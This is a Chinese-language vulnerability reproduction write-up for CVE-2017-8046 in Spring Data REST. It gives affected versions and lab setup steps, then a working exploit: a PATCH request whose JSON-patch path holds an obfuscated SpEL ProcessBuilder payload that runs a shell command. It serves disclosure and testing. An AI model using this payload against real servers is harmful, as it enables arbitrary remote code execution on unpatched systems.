Spring Data REST PATCH请求 远程代码执行漏洞案例（CVE-2017-8046）

恶意的PATCH请求使用精心构造的JSON数据提交到spring-data-rest服务可以执行任意JAVA代码

1. 背景

Spring Data REST是Spring Data项目的一部分，可以轻松地在Spring Data存储库之上构建超媒体驱动的REST Web服务。恶意的PATCH请求使用精心构造的JSON数据提交到spring-data-rest服务可以执行任意JAVA代码

2. 影响范围

Spring Data REST versions prior to 2.5.12, 2.6.7, 3.0 RC3可以查看spring-data-rest-webmvc jar包的版本 确定Spring Data REST的版本

3. 漏洞本地复现

mvn 安装

cd /opt
wget http://apache.mirror.gtcomm.net/maven/maven-3/3.5.0/binaries/apache-maven-3.5.0-bin.zip
unzip apache-maven-3.5.0-bin.zip
vim ~/.bash_profile
#PATH=/opt/apache-maven-3.5.0/bin:$PATH
cd
mvn -v

启动web服务

wget https://github.com/spring-projects/spring-data-examples/archive/master.zip
unzip master.zip
cd spring-data-examples-master/rest/multi-store
mvn spring-boot:run

添加数据

curl -X POST -i -H "Content-Type:application/json" -d '{"firstName":"Greg", "lastName":"Turnquist"}' http://localhost:8080/persons

远程代码执行

请求方法为PATCH，Content-Type为 application/json-patch+json

",".join(map(str, (map(ord,"whoami > /tmp/pwn.txt"))))

PATCH /persons/1 HTTP/1.1
Host: 192.168.1.108:8080
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 325

[{ "op": "replace", "path": "(new java.lang.ProcessBuilder(new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,98,97,115,104}),new java.lang.String(new byte[]{45,99}), new java.lang.String(new byte[]{119,104,111,97,109,105,32,62,32,47,116,109,112,47,112,119,110,46,116,120,116}))).start().x", "value": "Zhang" }]

会生成 /tmp/pwn.txt 文件

4.参考

https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA

https://github.com/spring-projects/spring-data-examples/tree/master/rest/multi-store